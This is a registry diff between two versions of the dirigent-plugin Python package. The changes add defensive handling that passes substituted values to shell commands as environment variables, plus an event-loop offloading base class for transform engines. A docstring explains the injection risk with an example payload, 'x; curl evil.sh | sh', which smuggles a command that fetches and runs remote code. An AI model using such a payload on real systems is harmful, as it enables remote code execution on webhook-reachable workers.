dirigent-plugin 0.16.2__tar.gz → 0.16.3__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {dirigent_plugin-0.16.2 → dirigent_plugin-0.16.3}/PKG-INFO +2 -2
- {dirigent_plugin-0.16.2 → dirigent_plugin-0.16.3}/pyproject.toml +2 -2
- {dirigent_plugin-0.16.2 → dirigent_plugin-0.16.3}/pyproject.toml.orig +2 -2
- {dirigent_plugin-0.16.2 → dirigent_plugin-0.16.3}/src/dirigent_plugin/__init__.py +8 -0
- {dirigent_plugin-0.16.2 → dirigent_plugin-0.16.3}/src/dirigent_plugin/blocks.py +42 -8
- {dirigent_plugin-0.16.2 → dirigent_plugin-0.16.3}/src/dirigent_plugin/transforms.py +64 -51
- {dirigent_plugin-0.16.2 → dirigent_plugin-0.16.3}/LICENSE +0 -0
- {dirigent_plugin-0.16.2 → dirigent_plugin-0.16.3}/README.md +0 -0
- {dirigent_plugin-0.16.2 → dirigent_plugin-0.16.3}/src/dirigent_plugin/markers.py +0 -0
- {dirigent_plugin-0.16.2 → dirigent_plugin-0.16.3}/src/dirigent_plugin/py.typed +0 -0
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: dirigent-plugin
|
|
3
|
-
Version: 0.16.
|
|
3
|
+
Version: 0.16.3
|
|
4
4
|
Summary: The dirigent plugin contract: block specs, protocols, and markers.
|
|
5
5
|
License-Expression: LicenseRef-Proprietary
|
|
6
6
|
License-File: LICENSE
|
|
7
|
-
Requires-Dist: dirigent-common==0.16.
|
|
7
|
+
Requires-Dist: dirigent-common==0.16.3
|
|
8
8
|
Requires-Dist: httpx2>=2.12.0
|
|
9
9
|
Requires-Dist: pluginkit>=0.5.0
|
|
10
10
|
Requires-Dist: pydantic>=2.13.5
|
|
@@ -1,13 +1,13 @@
|
|
|
1
1
|
[project]
|
|
2
2
|
name = "dirigent-plugin"
|
|
3
|
-
version = "0.16.
|
|
3
|
+
version = "0.16.3"
|
|
4
4
|
description = "The dirigent plugin contract: block specs, protocols, and markers."
|
|
5
5
|
readme = "README.md"
|
|
6
6
|
requires-python = ">=3.13"
|
|
7
7
|
license = "LicenseRef-Proprietary"
|
|
8
8
|
license-files = ["LICENSE"]
|
|
9
9
|
dependencies = [
|
|
10
|
-
"dirigent-common==0.16.
|
|
10
|
+
"dirigent-common==0.16.3",
|
|
11
11
|
"httpx2>=2.12.0",
|
|
12
12
|
"pluginkit>=0.5.0",
|
|
13
13
|
"pydantic>=2.13.5",
|
|
@@ -1,13 +1,13 @@
|
|
|
1
1
|
[project]
|
|
2
2
|
name = "dirigent-plugin"
|
|
3
|
-
version = "0.16.
|
|
3
|
+
version = "0.16.3"
|
|
4
4
|
description = "The dirigent plugin contract: block specs, protocols, and markers."
|
|
5
5
|
readme = "README.md"
|
|
6
6
|
requires-python = ">=3.13"
|
|
7
7
|
license = "LicenseRef-Proprietary"
|
|
8
8
|
license-files = ["LICENSE"]
|
|
9
9
|
dependencies = [
|
|
10
|
-
"dirigent-common==0.16.
|
|
10
|
+
"dirigent-common==0.16.3",
|
|
11
11
|
"httpx2>=2.12.0",
|
|
12
12
|
"pluginkit>=0.5.0",
|
|
13
13
|
"pydantic>=2.13.5",
|
|
@@ -2,6 +2,8 @@
|
|
|
2
2
|
|
|
3
3
|
from dirigent_plugin.blocks import (
|
|
4
4
|
BLOCK_ID_PATTERN,
|
|
5
|
+
SHELL_VARIABLE_PREFIX,
|
|
6
|
+
SHELL_VARIABLES_FIELD,
|
|
5
7
|
SURFACE_ID_PATTERN,
|
|
6
8
|
AlertMessage,
|
|
7
9
|
AnyOperator,
|
|
@@ -29,6 +31,7 @@ from dirigent_plugin.blocks import (
|
|
|
29
31
|
Sensor,
|
|
30
32
|
SensorSpec,
|
|
31
33
|
ShellString,
|
|
34
|
+
ShellVariables,
|
|
32
35
|
StartedRun,
|
|
33
36
|
StatResult,
|
|
34
37
|
StepContext,
|
|
@@ -51,6 +54,7 @@ from dirigent_plugin.transforms import (
|
|
|
51
54
|
ConvertConfig,
|
|
52
55
|
Converter,
|
|
53
56
|
ConvertOutput,
|
|
57
|
+
Engine,
|
|
54
58
|
Filterer,
|
|
55
59
|
Mapper,
|
|
56
60
|
ProgramConfig,
|
|
@@ -74,6 +78,7 @@ __all__ = [
|
|
|
74
78
|
"ConvertOutput",
|
|
75
79
|
"Converter",
|
|
76
80
|
"ENTRY_POINT_GROUP",
|
|
81
|
+
"Engine",
|
|
77
82
|
"ErrorClass",
|
|
78
83
|
"Filterer",
|
|
79
84
|
"FormatCheck",
|
|
@@ -96,7 +101,10 @@ __all__ = [
|
|
|
96
101
|
"SURFACE_ID_PATTERN",
|
|
97
102
|
"Sensor",
|
|
98
103
|
"SensorSpec",
|
|
104
|
+
"SHELL_VARIABLES_FIELD",
|
|
105
|
+
"SHELL_VARIABLE_PREFIX",
|
|
99
106
|
"ShellString",
|
|
107
|
+
"ShellVariables",
|
|
100
108
|
"StartedRun",
|
|
101
109
|
"StatResult",
|
|
102
110
|
"StepContext",
|
|
@@ -6,16 +6,16 @@ from contextlib import AbstractAsyncContextManager
|
|
|
6
6
|
from datetime import datetime, timedelta
|
|
7
7
|
from enum import StrEnum
|
|
8
8
|
from pathlib import Path
|
|
9
|
-
from typing import Any, ClassVar, Protocol, cast
|
|
9
|
+
from typing import Annotated, Any, ClassVar, Final, Protocol, cast
|
|
10
10
|
from uuid import UUID
|
|
11
11
|
|
|
12
12
|
import httpx2
|
|
13
13
|
from jsonschema import FormatChecker
|
|
14
14
|
from pydantic import BaseModel, ConfigDict, Field, GetJsonSchemaHandler, JsonValue, field_validator, model_validator
|
|
15
|
-
from pydantic.json_schema import JsonSchemaValue
|
|
15
|
+
from pydantic.json_schema import JsonSchemaValue, SkipJsonSchema
|
|
16
16
|
from pydantic_core import CoreSchema
|
|
17
17
|
|
|
18
|
-
from dirigent_common import API_VERSION, SHELL_MEDIA_TYPE, HealthReport, JsonMap
|
|
18
|
+
from dirigent_common import API_VERSION, SHELL_MEDIA_TYPE, BlockModel, HealthReport, JsonMap
|
|
19
19
|
|
|
20
20
|
type RunId = UUID
|
|
21
21
|
|
|
@@ -95,11 +95,16 @@ class ShellString:
|
|
|
95
95
|
${params.region}"`` with ``region`` set to ``x; curl evil.sh | sh`` is a shell injection
|
|
96
96
|
reachable by whoever can POST to a webhook.
|
|
97
97
|
|
|
98
|
-
Marking the field pushes the knowledge to where the answer is known. The engine
|
|
99
|
-
every
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
98
|
+
Marking the field pushes the knowledge to where the answer is known. The engine keeps
|
|
99
|
+
every substituted value out of the shell's parser altogether: each ``${...}`` becomes a
|
|
100
|
+
reference to a variable the engine invents, written so it is one word wherever the author
|
|
101
|
+
put it, and the values travel to the block in :class:`ShellVariables` for it to set in the
|
|
102
|
+
command's environment. Everything the author typed keeps its meaning -- pipes and
|
|
103
|
+
redirects included, which is the entire reason the shell form exists.
|
|
104
|
+
|
|
105
|
+
A block whose config carries a marked field takes :class:`ShellVariables` as its base,
|
|
106
|
+
because the values arrive in that field and a command run without them reads empty
|
|
107
|
+
variables.
|
|
103
108
|
|
|
104
109
|
It is a bare class rather than a model: annotation metadata pydantic recognises as a
|
|
105
110
|
model would be read as the field's schema, and this marker must stay invisible to
|
|
@@ -127,6 +132,35 @@ class ShellString:
|
|
|
127
132
|
return published
|
|
128
133
|
|
|
129
134
|
|
|
135
|
+
#: What the engine names the variables it substitutes a shell string's references out into.
|
|
136
|
+
SHELL_VARIABLE_PREFIX: Final = "DIRIGENT_V"
|
|
137
|
+
|
|
138
|
+
#: The config key those values arrive under, which is the field :class:`ShellVariables` declares.
|
|
139
|
+
SHELL_VARIABLES_FIELD: Final = "shell_variables"
|
|
140
|
+
|
|
141
|
+
#: A name the engine invented, which is the only thing this field may carry.
|
|
142
|
+
_SHELL_VARIABLE_PATTERN: Final = rf"^{SHELL_VARIABLE_PREFIX}[0-9]+$"
|
|
143
|
+
|
|
144
|
+
|
|
145
|
+
class ShellVariables(BlockModel):
|
|
146
|
+
"""The base a block config takes when any of its fields is a :class:`ShellString`.
|
|
147
|
+
|
|
148
|
+
A shell string reaches the block with every ``${...}`` rewritten to a reference to
|
|
149
|
+
``DIRIGENT_V0``, ``DIRIGENT_V1`` and so on, and the values that were substituted out
|
|
150
|
+
arrive here. The block sets them in the environment of the process it hands the string
|
|
151
|
+
to, after whatever the document's own ``env`` holds, so a document can neither read a
|
|
152
|
+
substituted value as shell source nor override what a reference resolved to.
|
|
153
|
+
|
|
154
|
+
The field is written by the engine and is not part of the published schema, so a document
|
|
155
|
+
cannot name it.
|
|
156
|
+
"""
|
|
157
|
+
|
|
158
|
+
shell_variables: SkipJsonSchema[dict[Annotated[str, Field(pattern=_SHELL_VARIABLE_PATTERN)], str]] = Field(
|
|
159
|
+
default_factory=dict[str, str]
|
|
160
|
+
)
|
|
161
|
+
"""The values the engine substituted out of this config's shell strings, by variable name."""
|
|
162
|
+
|
|
163
|
+
|
|
130
164
|
def shell_string_fields(model: type[BaseModel]) -> frozenset[str]:
|
|
131
165
|
"""List the config fields a model marked as being parsed by a shell."""
|
|
132
166
|
return frozenset(
|
|
@@ -17,9 +17,15 @@ step produced and its output is read by a later one; a value comes in from stora
|
|
|
17
17
|
``storage.read`` and goes out through ``storage.write``. ``convert`` is the exception,
|
|
18
18
|
because its operand is a storage object rather than a value: it reads one URI and writes
|
|
19
19
|
another, the way ``storage.copy`` does.
|
|
20
|
+
|
|
21
|
+
An engine computes, and no frame calls one on the event loop: the step's timeout and the
|
|
22
|
+
lease heartbeat are coroutines on that loop, and a worker whose loop is held by a program
|
|
23
|
+
misses both. Every frame hands a step's engine work to ``Engine.offload`` and awaits it.
|
|
20
24
|
"""
|
|
21
25
|
|
|
26
|
+
import asyncio
|
|
22
27
|
from abc import ABC, abstractmethod
|
|
28
|
+
from collections.abc import Callable
|
|
23
29
|
from typing import Any, ClassVar, Final, cast
|
|
24
30
|
|
|
25
31
|
from pydantic import BaseModel, Field, JsonValue
|
|
@@ -100,16 +106,15 @@ class ConvertOutput(BlockModel):
|
|
|
100
106
|
bytes_written: int
|
|
101
107
|
|
|
102
108
|
|
|
103
|
-
class
|
|
104
|
-
"""
|
|
109
|
+
class Engine(ABC):
|
|
110
|
+
"""What every transform engine is: a name, a line in the catalog, and a place its work runs.
|
|
105
111
|
|
|
106
|
-
An engine
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
the
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
is handed a value and returns a value; everything that reaches the world is the frame's.
|
|
112
|
+
An engine's own methods are synchronous, because reshaping a value is computation and not
|
|
113
|
+
waiting. Computation on the event loop is what a worker cannot afford: the step's timeout
|
|
114
|
+
and the lease heartbeat are coroutines on that loop, so a program holding it means the
|
|
115
|
+
timeout does not fire, the lease is not renewed, and the sweeper hands the attempt to
|
|
116
|
+
another worker while this one is still running it. Every frame therefore calls an engine
|
|
117
|
+
through ``offload``, once per step, and awaits the result.
|
|
113
118
|
"""
|
|
114
119
|
|
|
115
120
|
kind: ClassVar[str]
|
|
@@ -121,6 +126,30 @@ class Transformer(Operator[ProgramConfig, TransformOutput], ABC):
|
|
|
121
126
|
local_execution: ClassVar[bool] = False
|
|
122
127
|
"""Whether this engine executes code on the worker, which puts it behind the allowlist."""
|
|
123
128
|
|
|
129
|
+
async def offload[T](self, work: Callable[[], T]) -> T:
|
|
130
|
+
"""Run one step's engine work off the event loop and hand back what it returned.
|
|
131
|
+
|
|
132
|
+
A thread is enough for an engine written in Python, whose interpreter lets the loop
|
|
133
|
+
run between bytecodes. It is not enough for an engine that computes inside a C
|
|
134
|
+
extension holding the GIL, and a thread cannot be cancelled either: an engine whose
|
|
135
|
+
work can be stopped overrides this and stops it when the await is cancelled, the way
|
|
136
|
+
a database driver is interrupted.
|
|
137
|
+
"""
|
|
138
|
+
return await asyncio.to_thread(work)
|
|
139
|
+
|
|
140
|
+
|
|
141
|
+
class Transformer(Engine, Operator[ProgramConfig, TransformOutput], ABC):
|
|
142
|
+
"""The ``transform`` verb: reshape one whole value into another by running a program.
|
|
143
|
+
|
|
144
|
+
An engine names its kind, summarises itself in one line, and supplies the two halves of
|
|
145
|
+
running a program: compiling it, which is also what the apply-time check runs, and
|
|
146
|
+
applying it to a value. The frame derives the catalog entry and hands the result on as
|
|
147
|
+
the step's output.
|
|
148
|
+
|
|
149
|
+
An engine touches no HTTP, no file outside storage, and nothing in the environment. It
|
|
150
|
+
is handed a value and returns a value; everything that reaches the world is the frame's.
|
|
151
|
+
"""
|
|
152
|
+
|
|
124
153
|
config_model: ClassVar[type[BaseModel]] = ProgramConfig
|
|
125
154
|
output_model: ClassVar[type[BaseModel]] = TransformOutput
|
|
126
155
|
|
|
@@ -150,7 +179,7 @@ class Transformer(Operator[ProgramConfig, TransformOutput], ABC):
|
|
|
150
179
|
async def execute(self, config: ProgramConfig, ctx: StepContext) -> TransformOutput | RemoteHandle:
|
|
151
180
|
"""Run the program over the input value and hand the result on as the step's output."""
|
|
152
181
|
try:
|
|
153
|
-
result = self.apply(self.compile(config.program), config.input)
|
|
182
|
+
result = await self.offload(lambda: self.apply(self.compile(config.program), config.input))
|
|
154
183
|
except TransformError as error:
|
|
155
184
|
raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
|
|
156
185
|
return TransformOutput(value=result)
|
|
@@ -166,7 +195,7 @@ class Transformer(Operator[ProgramConfig, TransformOutput], ABC):
|
|
|
166
195
|
return []
|
|
167
196
|
|
|
168
197
|
|
|
169
|
-
class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
|
|
198
|
+
class Mapper(Engine, Operator[ProgramConfig, TransformOutput], ABC):
|
|
170
199
|
"""The ``map`` verb: replace every element of a list with what a program makes of it.
|
|
171
200
|
|
|
172
201
|
An engine names its kind, summarises itself in one line, and supplies compiling a
|
|
@@ -184,15 +213,6 @@ class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
|
|
|
184
213
|
frame's.
|
|
185
214
|
"""
|
|
186
215
|
|
|
187
|
-
kind: ClassVar[str]
|
|
188
|
-
"""The engine's name, which is the second half of the block id."""
|
|
189
|
-
|
|
190
|
-
summary: ClassVar[str]
|
|
191
|
-
"""The one line the catalog shows for this engine."""
|
|
192
|
-
|
|
193
|
-
local_execution: ClassVar[bool] = False
|
|
194
|
-
"""Whether this engine executes code on the worker, which puts it behind the allowlist."""
|
|
195
|
-
|
|
196
216
|
config_model: ClassVar[type[BaseModel]] = ProgramConfig
|
|
197
217
|
output_model: ClassVar[type[BaseModel]] = TransformOutput
|
|
198
218
|
|
|
@@ -222,16 +242,20 @@ class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
|
|
|
222
242
|
async def execute(self, config: ProgramConfig, ctx: StepContext) -> TransformOutput | RemoteHandle:
|
|
223
243
|
"""Replace every element of the input list and hand the list on as the step's output."""
|
|
224
244
|
elements = _elements(config.input, self.spec.id, MAP_PROMISE)
|
|
225
|
-
|
|
226
|
-
compiled = self.compile(config.program)
|
|
227
|
-
except TransformError as error:
|
|
228
|
-
raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
|
|
229
|
-
mapped = self._map_each(compiled, elements)
|
|
245
|
+
mapped = await self.offload(lambda: self._mapped(config.program, elements))
|
|
230
246
|
assert len(mapped) == len(elements), (
|
|
231
247
|
f"{self.spec.id} produced {len(mapped)} elements from {len(elements)}, breaking the map promise"
|
|
232
248
|
)
|
|
233
249
|
return TransformOutput(value=mapped)
|
|
234
250
|
|
|
251
|
+
def _mapped(self, program: str, elements: list[JsonValue]) -> list[JsonValue]:
|
|
252
|
+
"""Compile the program once and run the loop over it, which is the whole step's work."""
|
|
253
|
+
try:
|
|
254
|
+
compiled = self.compile(program)
|
|
255
|
+
except TransformError as error:
|
|
256
|
+
raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
|
|
257
|
+
return self._map_each(compiled, elements)
|
|
258
|
+
|
|
235
259
|
def _map_each(self, compiled: object, elements: list[JsonValue]) -> list[JsonValue]:
|
|
236
260
|
"""Apply the engine once per element, in order, naming the element it refused."""
|
|
237
261
|
mapped: list[JsonValue] = []
|
|
@@ -253,7 +277,7 @@ class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
|
|
|
253
277
|
return []
|
|
254
278
|
|
|
255
279
|
|
|
256
|
-
class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
|
|
280
|
+
class Filterer(Engine, Operator[ProgramConfig, TransformOutput], ABC):
|
|
257
281
|
"""The ``filter`` verb: keep the elements of a list a program answers true for.
|
|
258
282
|
|
|
259
283
|
An engine names its kind, summarises itself in one line, supplies compiling a program,
|
|
@@ -271,15 +295,6 @@ class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
|
|
|
271
295
|
frame's.
|
|
272
296
|
"""
|
|
273
297
|
|
|
274
|
-
kind: ClassVar[str]
|
|
275
|
-
"""The engine's name, which is the second half of the block id."""
|
|
276
|
-
|
|
277
|
-
summary: ClassVar[str]
|
|
278
|
-
"""The one line the catalog shows for this engine."""
|
|
279
|
-
|
|
280
|
-
local_execution: ClassVar[bool] = False
|
|
281
|
-
"""Whether this engine executes code on the worker, which puts it behind the allowlist."""
|
|
282
|
-
|
|
283
298
|
config_model: ClassVar[type[BaseModel]] = ProgramConfig
|
|
284
299
|
output_model: ClassVar[type[BaseModel]] = TransformOutput
|
|
285
300
|
|
|
@@ -309,15 +324,20 @@ class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
|
|
|
309
324
|
async def execute(self, config: ProgramConfig, ctx: StepContext) -> TransformOutput | RemoteHandle:
|
|
310
325
|
"""Keep the elements the engine answers true for and hand them on as the step's output."""
|
|
311
326
|
elements = _elements(config.input, self.spec.id, FILTER_PROMISE)
|
|
312
|
-
|
|
313
|
-
compiled = self.compile(config.program)
|
|
314
|
-
except TransformError as error:
|
|
315
|
-
raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
|
|
327
|
+
verdicts = await self.offload(lambda: self._verdicts(config.program, elements))
|
|
316
328
|
# The element the frame was given, never anything the engine returned: what a filter
|
|
317
329
|
# keeps is what arrived.
|
|
318
|
-
kept = [element for
|
|
330
|
+
kept = [element for element, verdict in zip(elements, verdicts, strict=True) if verdict]
|
|
319
331
|
return TransformOutput(value=kept)
|
|
320
332
|
|
|
333
|
+
def _verdicts(self, program: str, elements: list[JsonValue]) -> list[bool]:
|
|
334
|
+
"""Compile the program once and ask the engine about every element, which is the step's work."""
|
|
335
|
+
try:
|
|
336
|
+
compiled = self.compile(program)
|
|
337
|
+
except TransformError as error:
|
|
338
|
+
raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
|
|
339
|
+
return [self._verdict(compiled, element, index) for index, element in enumerate(elements)]
|
|
340
|
+
|
|
321
341
|
def _verdict(self, compiled: object, element: JsonValue, index: int) -> bool:
|
|
322
342
|
"""Ask the engine about one element, refusing an answer that is not a boolean."""
|
|
323
343
|
try:
|
|
@@ -344,7 +364,7 @@ class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
|
|
|
344
364
|
return []
|
|
345
365
|
|
|
346
366
|
|
|
347
|
-
class Converter(Operator[ConvertConfig, ConvertOutput], ABC):
|
|
367
|
+
class Converter(Engine, Operator[ConvertConfig, ConvertOutput], ABC):
|
|
348
368
|
"""The ``convert`` verb: re-encode bytes from one format into another, content preserved.
|
|
349
369
|
|
|
350
370
|
A converter is a codec, not a language: there is no program. An engine names its kind,
|
|
@@ -356,18 +376,9 @@ class Converter(Operator[ConvertConfig, ConvertOutput], ABC):
|
|
|
356
376
|
is handed bytes and returns bytes; everything that reaches the world is the frame's.
|
|
357
377
|
"""
|
|
358
378
|
|
|
359
|
-
kind: ClassVar[str]
|
|
360
|
-
"""The engine's name, which is the second half of the block id."""
|
|
361
|
-
|
|
362
|
-
summary: ClassVar[str]
|
|
363
|
-
"""The one line the catalog shows for this engine."""
|
|
364
|
-
|
|
365
379
|
pairs: ClassVar[frozenset[tuple[str, str]]]
|
|
366
380
|
"""Every ``(from, to)`` format pair this engine re-encodes between."""
|
|
367
381
|
|
|
368
|
-
local_execution: ClassVar[bool] = False
|
|
369
|
-
"""Whether this engine executes code on the worker, which puts it behind the allowlist."""
|
|
370
|
-
|
|
371
382
|
config_model: ClassVar[type[BaseModel]] = ConvertConfig
|
|
372
383
|
output_model: ClassVar[type[BaseModel]] = ConvertOutput
|
|
373
384
|
|
|
@@ -396,7 +407,9 @@ class Converter(Operator[ConvertConfig, ConvertOutput], ABC):
|
|
|
396
407
|
raise BlockFailure(unsupported, error_class=ErrorClass.REJECTED)
|
|
397
408
|
source = await _read(ctx, config.source)
|
|
398
409
|
try:
|
|
399
|
-
produced = self.
|
|
410
|
+
produced = await self.offload(
|
|
411
|
+
lambda: self.convert(source, source_format=config.from_format, target_format=config.to_format)
|
|
412
|
+
)
|
|
400
413
|
except TransformError as error:
|
|
401
414
|
raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
|
|
402
415
|
written = await _write(ctx, config.target, produced)
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|